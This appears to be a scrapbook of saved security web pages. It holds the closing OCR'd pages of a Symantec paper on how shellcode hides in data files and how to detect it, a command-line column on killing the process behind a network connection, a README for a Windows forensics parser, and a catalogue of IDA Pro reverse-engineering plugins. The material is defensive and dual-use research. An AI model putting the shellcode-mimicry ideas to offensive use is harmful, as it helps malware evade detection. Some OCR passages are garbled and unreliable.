image files. While the current version of Internet Explorer allows the user to
disable images unilater ally, there is currently no option in Internet
Explorer to prevent individual images from being shown. Even if one is careful
to avoid any dark alleys, if your bank is being robbed, you shouldn’t go in.
(An attacked website often offers malicious scripts to the visitors...) Living
in a niche Environment-dependent shell Backdoor implantation is already
becoming more and more targeted. If an attacker knows what kind of OS is
running with what software, the victim may receive a custom-tailored gift. As
already dis cussed, Word documents especially made for the victim have
appeared. If a shell code is coded with many immediate APT addresses or the
like, instead of scouring the system for them, it is very difficult to tell
exactly what it does, though such a file is suspicious enough. Mimic Mimicked
shell code will continue to be a headache until we have a sophisticated shell
code detector. Human eyes will easily miss an image of no contrast. If a host
data file consists of many ASCII char 18' />

<img src='img/Temp2_7482.png' width='794' height='1123' alt='Machine generated
alternative text: Evolving shell code acters, the shell code can mimic ASCII
strings. ¡fit is a compressed image, then a shell code can mimic the
compressed image. It can also XOR multiple areas, each of which looks like
regular data in the host tile. No matter what kind of mimicry is used, there
should still be the initial shell code that decrypts the mimicked area. It may
jump far away again and again to distract, But, if a tool can emu late some
ten instructions without an invalid operation, it is a smoking gun. We are not
dealing with a program file, but a data file. Conclusion Traditionally, data
files are not supposed to contain program code. Shell code has been evolving
month after month, but it cannot elude us as long as we can locate the initial
point of execution. We can be optimistic in this sense. At the same time, we
have to pay attention to the way shell code behaves; otherwise it may go far
beyond our current assumptions. References 1 Trojan.Moo
http://securityresponse.symantec.com/avcenter/venc/data/troja n .moo.html 2
Skap. Understanding Windows Shellcode.
http://www.nologin.net/Downloads/Papers/win32-shellcode.pdf 1g' />

<img src='img/Temp2_7487.png' width='794' height='1123' alt='Machine generated
alternative text:' />

<img src='img/Temp2_7481.png' width='794' height='1123' alt='Machine generated
alternative text: About Symantec Symantec is the global leader in information
security, providing a broad range of software, appliances, and services
designed to help individuals, small and mid-sized businesses, and large
enterprises secure and manage their IT infrastructure. Symantec’s Nortona
brand of products is the worldwide leader In consumer security and problem-
solving solutions. Headquartered in Cupertino. California, Symantec has
operations in 35 countries. More information is available at www.symantec.com.
Symantec has worldwide operations in 35 countries. For specific country
offices and contact numbers, please visit our Web site. For product
information in the U.S., call toll-tree 1 800 745 6054. Symantec Corporation
World Headquarters 20330 Stevens Creek Boulevard Cupertino, CA 95014 USA 408
517 8000 800 721 3934 www.symantec.com Syrn.wtec and the Symantec logo are
U.S. regatered trademarks of Symantec Carporatian. Micrao4t and Windows we
eithcr registered trademarks ec trademarks of Microsoft Corporation in the
United States arid/or other countries Other beand andproduct naines we
bademaibs of their respective floiderI. Any lechrrc.al riforniauion that s
made available by Syrriantec Corporation s 11w copyrighted work of Symantec
Corporation arid ‘s oemed by Symantec Corporation. NO WARRANTy. The techntcal
Information s being delivered to you as-is arid Symantec Corpoeabori mjker. no
warranty as to its accuracy or use Any use at the technical documentation or
the information contained herein is at the rack 0f the user. Copyright C 2006
Symantec Corporation All rights reserved 04/05 10406630' />

Created with Microsoft OneNote 2010  
One place for all your notes and information

# Command Line Kung Fu: Episode \#69: Destroy All Connections

**Created:**| _11/24/2009 7:18:57 PM_  
---|---  
**Updated:**| _11/24/2009 7:19:02 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#69: Destroy All Connections

Ed looks out on the serene waters of Tokyo Bay:  
  
Mr. Byte Bucket sent in a request from the ever insightful Pauldotcom IRC
channel:  
  
Can anyone suggest a Windows cmd to disconnect a specific socket?  
  
Nice question\! Unfortunately, Windows doesn't offer much in the way of built-
in tools that are fine grained enough to operate at the socket level. But, we
can either restart the service handling the connection, or, if you want to be
a little more violent, just kill its service.  
  
We'll start by taking the violent rout. First off, we need to figure out what
processid is associated with the connection you seek. You can get a list of
all connections to a given port using the following command:  
  

[code]

    C:\> netstat -nao | find ":[port]"
[/code]

  
The right-most \(i.e., fifth\) column is the processid number.  
  
If you have multiple different clients clients connected to that same
destination port, you can select out the given process that is associated with
a specific client connection using:  
  

[code]

    C:\> netstat -nao | find ":[port]" | find "[ClientIPaddr]"
    
[/code]

  
You can then kill that process using wmic. However, be very careful\! That
process may be really important, and killing it could end you up in a world of
hurt. In fact, a lot of Windows built-in features \(such as file sharing and
IIS\) are all associated with the "System" service \(with a PID of 4 or 8
depending on the version of Windows you are using\).  
  

[code]

    C:\> wmic process where processid="[PID]" delete
    
[/code]

  
You can wrap this all up in one very dangerous command... but I really don't
recommend doing this. Again, if you inadvertently kill the wrong process, your
system could come crashing down around you. I recommend figuring out what
process is at issue first, investigating it, and only then killing it.  
  

[code]

    C:\> for /f "tokens=5" %i in ('netstat -nao ^| find ":[port]" ^|   
        find "[ClientIPaddr]"') do @wmic process where processid="%i" delete  
    Deleting instance \\WILMA\ROOT\CIMV2:Win32_Process.Handle="[PID]"  
    Instance deletion successful.
    
[/code]

  
Our second approach involves restarting the service associated with the
process. Based on the processID information we retrieved above, we can get a
list of the associated services by running:  
  

[code]

    C:\> tasklist /fi "pid eq [PID]" /svc
    
[/code]

  
That command tells us all of the services that are associated with a given
process. We'll then have to do a little research to figure out which specific
service it is that is handling our given connection. Unfortunately, Windows
doesn't give us the ability to map a connection directly to a service, but we
must instead map a connection to a process, which we then map to a set of
services running from within that process. Now, if there's only one service in
that process, we're golden. But, if there are more, we have to do this
research step to find out which service it really is that we need to focus on.  
  
Once you've discovered the appropriate service, you can then restart the
service using:  
  

[code]

    C:\> sc stop [service] & sc start [service]
    
[/code]

  
It's kind of annoying, I think, that there is no "restart" option explicitly
here, so we have to stop the service and then start it. Not a huge liability,
but still a little frustrating.  
  
Tim Sees Something Starting to Stir in the Otherwise Tranquil Waters of the
Bay:  
  
PowerShell doesn't \(yet\) have any cmdlets similar to netstat. The Grand
Poobah of PowerShell \(@halr9000 on twitter\) has aPowerShell script to
"objectize" netstat, but that crosses in to scriptland so we will steer clear.  
  
To find the connection and its associated process you will have to refer to
the first portion of Ed's section. But once we have the process id we can use
PowerShell cmdlets.  
  
So we have the PID, now we can get the process object by using the aptly named
command Get-Process. The default method for Get-Process is the process name,
so we need to use the Id parameter.  
  

[code]

    PS C:\> **Get-Process -Id 3004**  
     Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName  
    -------  ------    -----      ----- -----   ------     -- -----------  
        210       7     5116      13344    61     6.67   3004 Evil
    
[/code]

  
  
The process can be killed using PowerShell, but as Ed said, "Be very
careful\!" The Stop-Process cmdlet's default method is the process Id so we
aren't required to use Id parameter \(but you can if you wish\).  
  

[code]

    PS C:\> **Stop-Process 3004**
    
[/code]

  
  
If the offending process is a service, we can't retrieve the service from the
process id using by using just Get-Proccess since it doesn't include the Id
property. However, we can use wmi in conjunction with Get-Service to "get" the
service.  
  

[code]

    PS C:\> **Get-WmiObject win32_service | ? { $_.ProcessID -eq 3004 } | % { Get-Serv  
     ice $_.Name }**
    
[/code]

  
  
To paraphrase Ed \(again\), you will have to do some research to since there
can be multiple services running from within that process \(multiple services
be in one process\).  
  
Once we find the service that needs a kick, we can stop it using Stop-Service.
We also have the ability to restart the service using Restart-Service.  
  
If you felt gutsy you could pipe the command above into Restart-Service or
Stop-Service.  
  

[code]

    PS C:\> **Get-WmiObject win32_service | ? { $_.ProcessID -eq 3004 } | % { Get-Serv  
     ice $_.Name } | Restart-Service**
    
[/code]

  
  

[code]

    PS C:\> **Get-WmiObject win32_service | ? { $_.ProcessID -eq 3004 } | % { Get-Serv  
     ice $_.Name } | Stop-Service**
    
[/code]

  
  
..or you could do it manually.  
  

[code]

    PS C:\> **Stop-Service [Service]**
    
[/code]

  
  

[code]

    PS C:\> **Restart-Service [Service]**
    
[/code]

  
  
It would be nice if there was a facility in PowerShell to just kill a
connection. Maybe we can get that in version 3, but while we wait for the
additional capability I get the uneasy feeling Hal is getting ready to squash
us like bugs.  
  
And the waters of Tokyo bay begin to boil:  
  
Oh dear. I really am going to have to open my Godzilla-sized can of whup-ass
on my poor Windows-using bretheren. But first, let me try to make them feel
not so bad by doing a quick netstat-based solution.  
  
On Linux systems at least, netstat has a "-p" option to display process
information. Let's take a quick look at some sample output:  
  

[code]

    # **netstat -anp --tcp -4 | grep :22**  
     tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      15805/sshd        
    tcp        0      0 192.168.1.4:60279       192.168.1.2:22          ESTABLISHED 18054/ssh         
    tcp        0      0 192.168.1.4:32921       192.168.1.2:22          ESTABLISHED 19409/ssh
    
[/code]

  
Here I'm listing all TCP sockets that are using IPv4 \("--tcp -4"\), and using
"-n" so that the socket numbers are not converted into human-readable names.
Anyway, as you can see, the 7th column is "PID/name" \(this is what the "-p"
option does\).  
  
So with the help of awk and cut, we can pull out just the PID of the master
SSH daemon:  
  

[code]

    # **netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f1 -d/**  
    15805
    
[/code]

  
Killing that process just requires appropriate use of backticks:  
  

[code]

    # **kill `netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f1 -d/`**
    
[/code]

  
We could also use cut to pull out the second field, if we wanted to shut down
the process using it's init script:  
  

[code]

    # **/etc/init.d/`netstat -anp --tcp -4 | awk '/:22/ && /LISTEN/ { print $7 }' | cut -f2 -d/` stop**  
    bash: /etc/init.d/sshd: No such file or directory
    
[/code]

  
Rats, it's /etc/init.d/ssh on this system, and not /etc/init.d/sshd, but you
get the idea.  
  
But really, the 300 foot giant mutated atomic lizard we want to employ here is
lsof. You might be aware that we can get lsof to show us just the port 22
stuff with it's "-i" flag:  
  

[code]

    # **lsof -i :22**  
     COMMAND   PID USER   FD   TYPE DEVICE SIZE NODE NAME  
    sshd    15805 root    3u  IPv6  37028       TCP *:ssh (LISTEN)  
    sshd    15805 root    4u  IPv4  37030       TCP *:ssh (LISTEN)  
    ssh     18054  hal    3u  IPv4  44514       TCP elk.deer-run.com:60279->deer.deer-run.com:ssh (ESTABLISHED)  
    ssh     19409  hal    3u  IPv4  53249       TCP elk.deer-run.com:32921->deer.deer-run.com:ssh (ESTABLISHED)
    
[/code]

  
If we wanted to kill the SSH daemon, we could easily adapt the awk fu from the
netstat example to pull out the appropriate PID value and then use backticks
to feed this value into the kill command.  
  
But we don't need awk, because lsof has the "-t" \("terse"\) option, which
just spits out the PIDs:  
  

[code]

    # **lsof -t -i :22**  
     15805  
    18054  
    19409
    
[/code]

  
The "-t" option is specifically designed so that you can do things like "kill
\`lsof -t -i :22\`". Of course, the problem with doing that is that I'd also
end up killing my SSH sessions to the remote machine deer.deer-run.com-- PIDs
18054 and 19409-- which I don't really want to do.  
  
So how do we pull out just the daemon PID? Well looking at the lsof output
above, I can see that I want to kill the sshd processes that are listening on
port 22 but leave the regular ssh processes alone. I could use the "-c" option
to select the PIDs by command name:  
  

[code]

    # **lsof -t -c sshd**  
     15805
    
[/code]

  
But that means I'd have to already know the command name associated with the
port in question-- in this case by having already run lsof once to search by
port number. And if I knew the command name already, why wouldn't I just use
pkill \(seeEpisode \#22\) instead of lsof?  
  
What I really want is a single command-line using just kill and lsof that lets
me reliably destroy the master server process as effectively as Godzilla
destroys Tokyo. Luckily, lsof has some more atom-age madness up its sleeve.
You see, lsof's "-c" option isn't just limited to simple substring matching:
you can use "/.../" to specify a full-on egrep-style regular expression.
Because Unix server processes almost always end in "d" \(think sshd, httpd,
ftpd, and so on\), we can construct a similar regular expression to match the
daemon process name associated with an arbitrary port number:  
  

[code]

    # **lsof -a -i :22 -c /d$/**  
     COMMAND   PID USER   FD   TYPE DEVICE SIZE NODE NAME  
    sshd    15805 root    3u  IPv6  37028       TCP *:ssh (LISTEN)  
    sshd    15805 root    4u  IPv4  37030       TCP *:ssh (LISTEN)
    
[/code]

  
The "-a" option means to logically "and" your search criteria together \(the
default is logical "or" for some strange reason, although this is almost never
what you want\). So here we're looking for everything using port 22  _and_
where the process name ends with "d".  
  
Adding the "-t" option and some backtick action, we have our final answer:  
  

[code]

    # **kill `lsof -t -a -i :22 -c /d$/`**
    
[/code]

  
And with that, I shall swim home to Monster Island and await my next
challenge.

# mandiant/ShimCacheParser

**Created:**| _4/20/2012 7:07:41 PM_  
---|---  
**Updated:**| _4/20/2012 7:07:41 PM_  
**Author:**| __  
**Tags:**| _Forensics windows environment prototyping_  
  

[code]

    ShimCacheParser.py v1.0
    ====================
    
    ShimCacheParser is a proof-of-concept tool for reading the Application Compatibility Shim Cache stored in the Windows registry. Metadata of files that are executed on a Windows system are placed within this data structure on the running system. Upon system shutdown, this data structure is serialized to the registry in one of two registry paths depending on the operating system version (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility\AppCompatCache or HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache) . The format of this data, as well as the types of information stored also vary between operating system which is summarized below:
        -Windows XP 32-bit: File Path, $STANDARD_INFORMATION Last Modified Time, File Size, and Last Update Time
        -Windows 2003 and XP 64-bit: File Path, $STANDARD_INFORMATION Last Modified Time, and File Size
        -Windows Vista and later: File Path, $STANDARD_INFORMATION Last Modified Time
    
    ShimCacheParser will find these registry paths, automatically determine their format, and return the data to in an optional CSV format. During testing it was discovered that on Windows Vista and later, files may be added to this cache if they were browsed to by explorer.exe and never actually executed.  When these same files were executed, the 2nd least significant bit in the flags field was set by the CSRSS process while checking SXS information. During testing it was possible to identify if ".exe" files were executed based on this flag being set. This flag's true purpose is currently unknown and is still being testing for consistency, so it should not be currently used to definitively conclude that a file may or may not have executed. 
    
    Usage
    ====================
    ShimCacheParser.py requires python 2.6 or later which can be obtained from http://www.python.org/download/.  Several types of inputs are currently supported:
        -Extracted Registry Hives (-r, --reg) 
        -MIR XML  (-m, --mir)
        -Mass MIR registry acquisitions ZIP archives (-z, --zip)
        -The current Windows system (-l, --local)
        -Exported AppComatCache data from binary file (-b, --bin)
        
    The output CSV file is set with the (-o, --output) argument. If no output file is specified, the data will be printed to STDOUT.  ShimCacheParser will search each ControlSet and will only return unique entries by default. If you want to display duplicates as well as the full registry path where the data was taken use the verbose (-v, --verbose) option. 
[/code]

# Category:IDA Extensions - Collaborative RCE Tool Library

**Created:**| _1/7/2010 1:31:36 PM_  
---|---  
**Updated:**| _1/7/2010 1:31:47 PM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  

### From Collaborative RCE Tool Library

Jump to: navigation, search

# IDA Extensions

  

Tool name:| Class Informer| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| Sirmabus  
Website:| http://www.openrce.org/blog/view/1344/Class\_Informer\_IDA\_plug-in  
Current version:| 1.01  
Last updated:| April 2, 2009  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| Scans an MSVC 32bit target IDB for vftables with C++ RTTI, and
MFC RTCI type data.  
Places structure defs, names, labels, and comments to make more sense of class
vftables \("Virtual Function Table"\) and make them read  
easier as an aid to reverse engineering.  
Creates a list window with found vftables for browsing.  
  
RTTI \("Run-Time Type Identification"\):  
http://en.wikipedia.org/wiki/RTTI  
  
RTCI \("Run Time Class Information"\) the MFC forerunner to "RTTI":  
http://msdn.microsoft.com/en-us/library/fych0hw6\(VS.80\).aspx  
\------------------------------------------------------------  
  
See also screenshot example of vftable info set by plug-in below.  
Also listed in:| COM Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA Process Dumper| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| thE Cur\!ouZ  
Website:| _N/A_  
Current version:| 1.0  
Last updated:| July 9, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| IDA Process Dumper  
  
Plugin to make a dump of the running process under IDA debugger.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| TurboDiff| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| Nicolás Economou  
Website:| http://tinyurl.com/turbodiff  
Current version:| 1.01  
Last updated:| October 14, 2009  
Direct D/L link:|
http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=tool&page=turbodiff&file=turbodiff\_v1.0.1.zip  
License type:| GPLv2  
Description:| Turbodiff is a binary diffing tool developed as an IDA plugin.
It discovers and analyzes differences between the functions of two binaries.  
Also listed in:| Executable Diff Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| BinDiff| | 
  * Currently4/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 4.0 \(1 vote\)_  
Author:| zynamics GmbH  
Website:| http://www.zynamics.com/bindiff.html  
Current version:| 2.1  
Last updated:| 2009  
Direct D/L link:| _N/A_  
License type:| Commercial \(IDA Pro plugin\)  
Description:| A very powerful executable file diffing tool, in the form of an
IDA Pro plugin.  
Also listed in:| Executable Diff Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Fast IDB2Sig and LoadMap IDA plugins| | 
  * Currently4/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 4.0 \(1 vote\)_  
Author:| TQN  
Website:| _N/A_  
Current version:| 1.0  
Last updated:| September 14, 2004  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| It took me two weeks to write two IDA plugins, a renew, fast
IDB2Sig plugin and a new, very fast LoadMap plugin.  
The IDB2SIG plugin I rewrote base on the orginal source code and idea of:  
\- Quine \(quine@blacksun.res.cmu.edu\)  
\- Darko  
\- IDB2PAT of J.C. Roberts <mercury@abac.com>  
Thanks all of you very much. I think all of you will allow me to public the
new source code.  
The LoadMap plugin I wrote base on the idea of Toshiyuki Tega. It will
supports loading and parsing VC++, Borland \(Delphi/BC++/CBuilder\) and DeDe
map files.  
And with two plugins, I need only two days to create two signature file for
Delphi 6/7. Very fast and convenience. Hereafter, we can use two above plugins
to create signature files, load map symbols...  
  
Source is included, and plugins are precompiled for IDA 4.5 and 5.2.  
Also listed in:| IDA Signature Creation Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDACompare| | 
  * Currently2/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 2.0 \(1 vote\)_  
Author:| David Zimmer  
Website:| http://labs.idefense.com/software/static.php\#more\_idacompare  
Current version:| 5.4  
Last updated:| March 5, 2009  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| IDACompare is a plugin designed to compare and match up
equivalent functions across two IDA databases. IDACompare was primarily
designed for analyzing changes across malcode variants, it should also find
good use when conducting patch analysis.  
  
Once function matches have been made, names can be ported across
disassemblies, or sequentially renamed in both.  
  
Project also implements a signature scanner, letting you build your own
listing of known functions.  
Also listed in:| Executable Diff Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Advanced obj and lib IDA signature ripper| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| gerbay  
Website:| http://www.woodmann.com/forum/showthread.php?t=9931  
Current version:| 1.0  
Last updated:| May 23, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| It loads obj and lib \(COFF format\) files signature to ida
database.  
  
It identifies so many labels more than flair signatures.  
  
FLIRT signature creation not possible for some situation, for example you can
try to create flirt signature for flexlm libs, but this plugin will work in
such situations too\!  
Also listed in:| IDA Signature Creation Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| ClassAndInterfaceToNames| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Frank Boldewin  
Website:| http://www.reconstructer.org  
Current version:|  
Last updated:| June 16, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| This small IDAPython script scans an idb file for class and
interfaces UUIDs and creates the matching structure and its name.
Unfortunately IDA doesn't do this automatically, thus this little helper. It
personally helped me alot, while reversing several malwares using the COM
interface, e.g. for browser or outlook manipulation, BITS file transfer or
dumping the protected storage. The script was tested with IDAPython v0.9.0 and
Python 2.4. Make sure to copy interfaces.txt + classes.txt +
ClassAndInterfaceToNames.py to IDADIR, e.g. C:\Program Files\IDA  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Code Snippet Creator| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| servil  
Website:| http://sharemation.com/servil/idaplugs/  
Current version:| 0.989 beta  
Last updated:| 2008  
Direct D/L link:| http://www.sharemation.com:80/servil/idaplugs/csc-bin.zip  
License type:| Freeware  
Description:|
\-------------------------------------------------------------------------------  
code snippet creator plugin for ida pro by servil  
version 0.989 beta \(Feb 2008\)  
supported ida versions: 4.9 and above till API change  
\(tested on 5.2 without backward compatibility enforcement\)  
\-------------------------------------------------------------------------------  
  
basic ida plugin to automate migration of one or more functions from host  
program to custom assembly project \(primarily masm targetted\). some effort
was  
put to be generic and able to process any processor and format based on  
function model using basic assembler data types \(byte, word, dword...\),
however  
focussed and only properly tested on 32-bit borland and msvc code and is  
expected to give best results for these compilers \(generally the more actual  
format is distant from pe-32 the less functionality you may expect\), also all  
runtime features only are available for pe-32 formats.  
  
major features:  
  
\* static code and data flowgraph traversal  
\* static data formatting and bounds determining  
\* code and data integrity care  
\* integrated runtime evaluated addressing resolver \(orig. executable
required\)  
\* integrated process data dumping with emulation of accessed virtual data and  
stack variables \(orig. executable required\)  
\* iat address translation for dynamic runtimes build \(pe-32 only\)  
\* lexical compatibility adjustments, name conflicts resolving and basic  
output garbage cleanup  
\* final flowgraph \(kernel version 5.1 and newer\)  
  
plugin is designed to cover all possible address ranges the root function\(s\)  
can access in real. the plugin is not click and go solution, only benefit csc  
gives is reduction of boring uphill work - in most cases output will need  
manual adjustments to pass compiler. plugin always builds reportlist hiliting  
warnings, problems, unsure places, etc..., beside it doubtful lines are  
commented in the sourcecode also.  
code traversal is based on x-refs, not raw operand values, so that mutual  
linkage of related ranges can be flexibly adjusted by user offsets or x-refs  
manager \(see below\).  
  
the plug got 4 components:  
  
1\. code ripper self  
this is the main component: basic \(optionally\) recursive deadcode traversal  
and creating output source file. additional options and adjustments are  
available from startup dialog. most obvious enough, two run-time features  
explained here:  
\* runtime evaluated addressing resolver is useful for discovering indirect  
or runtime-evaluated jump/call targets \(eg. call dword ptr \[edx+08h\], jmp  
eax, etc.\): while targets are evaluated and reached at run-time in host  
application naturally, they are invisible at export time from deadcode,  
thus they wouldn't be expectingly not even exported. the resolver cares of  
tracing real targets and including targets to output - recommended for  
images written by OOP language.  
\* process data dumper recognizes offsets to image range and to a known heap  
block. currently these dynamic block types are recognized: msvc malloc,  
delphi/cbuilder getmem, bcc malloc, gnu gcc malloc, virtualalloc, stack  
variables. relaxing the rules for offset recognition may increase amount  
of false offsets rapidly. runtime engines can process both standalone  
executables and dll\`s on certain conditions \(a loader directly executable  
by createprocess is present, loads the dll at some time and executes  
desired code there\).  
2\. indirect flow resolver from external debugger \(deprecated\)  
3\. flirt names matching \(a helper for code ripper\)  
comparing libnames recognized by flirt to real library names is helpful to  
prevent later linking problems \(unmatched names get library flag removed\),  
worx in conjunctin with code ripper's 'include library functions\` option  
turned off.  
4\. xrefs manager \(plugin call parameter 3\)  
view/create/remove user links between any two places of disassembly. two  
samples of usage: for code ripper to cover code or data ranges not referred  
from any of collected static areas or to change anchor point of non-head  
memory operands \(o\_mem\).  
  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| CodeDoctor| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| hnedka  
Website:| _N/A_  
Current version:| 0.90  
Last updated:| November 12, 2009  
Direct D/L link:| see details  
License type:| freeware  
Description:| <nowiki>CodeDoctor is a plugin for Olly and IDA.  
  
History:  
11.11.2009 - 0.90 - initial public release  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Functions:  
  
1\) Deobfuscate  
  
Select instructions in disasm window and execute this command. It will try  
to clear the code from junk instructions.  
  
Example:  
  
Original:  
00874372 57 PUSH EDI  
00874373 BF 352AAF6A MOV EDI,6AAF2A35  
00874378 81E7 0D152A41 AND EDI,412A150D  
0087437E 81F7 01002A40 XOR EDI,402A0001  
00874384 01FB ADD EBX,EDI  
00874386 5F POP EDI  
  
Deobfuscated:  
00874372 83C3 04 ADD EBX,4  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
2\) Deobfuscate - Single Step  
  
This works like previous command, but does one transformation at a time  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
3\) Move NOPs to bottom  
  
Converts this:  
  
00874396 50 PUSH EAX  
00874397 90 NOP  
00874398 90 NOP  
00874399 52 PUSH EDX  
0087439A BA 3F976B00 MOV EDX,somesoft.006B973F  
  
  
to this:  
  
00874396 50 PUSH EAX  
00874397 52 PUSH EDX  
00874398 BA 3F976B00 MOV EDX,somesoft.006B973F  
0087439D 90 NOP  
0087439E 90 NOP  
  
Limitations: it breaks all jumps and calls pointing inwards  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
4\) Undo / Redo  
  
Undo or Redo last operation \(from one of the above functions\)  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
5\) Retrieve Jumpy function  
  
This will statically parse instructions and follow all jumps. This is useful  
for situations, when program jumps here and there and here and there... When  
it encounters some instruction, that can't be followed, it stop and copies  
all parsed instruction to an allocated place in memory.  
  
Use settings to set some parameters:  
Step over calls - if set, it will step over calls, otherwise it will follow
them  
Step over jccs - dtto, but for Jccs  
Deobfuscate - it will deobfuscate instruction, when it encounters Jcc, RET,  
JMP reg/exp, CALL reg/exp; useful for multi-branch  
  
Example:  
  
Original:  
00874389 /EB 05 JMP SHORT somesoft.00874390  
0087438B  
Also listed in:| Deobfuscation Tools, OllyDbg Extensions, Resource Editors,
Unpacking Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Com helper| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| servil  
Website:| http://www.sharemation.com/servil/idaplugs/  
Current version:| 2  
Last updated:| 2008  
Direct D/L link:|
http://www.sharemation.com/servil/idaplugs/comhelper2-bin.zip  
License type:| Freeware  
Description:| Improved version of DataRescue's com helper plugin.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| CoverIt| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Ilfak Guilfanov  
Website:| http://www.hexblog.com/2006/03/coverage\_analyzer.html  
Current version:| 1.0  
Last updated:| March 27, 2006  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| A code coverage plugin for IDA Pro. It colors all executed
instructions directly inside the IDA GUI, including any collapsed functions
containing executed instructions.  
Also listed in:| Code Coverage Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Desquirr - Decompiler Plugin for IDA Pro| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| David Eriksson  
Website:| http://desquirr.sourceforge.net/desquirr/  
Current version:| 20070130 \(desquirr-20070130-bin-ida\_v5\_0.zip\)  
Last updated:| November 13, 2003  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| Desquirr is a decompiler plugin for IDA Pro.  
  
Desquirr currently consists of a little more than 5000 lines of C++ code, not
counting empty lines or lines beginning with comments  
  
Read the Master Thesis at
http://desquirr.sourceforge.net/desquirr/desquirr\_master\_thesis.pdf  
Also listed in:| Decompilers  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Dump\_all/load\_all Set Of Tools For IDA 5.x| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| deroko / ARTeam  
Website:| http://arteam.accessroot.com  
Current version:| 1.0  
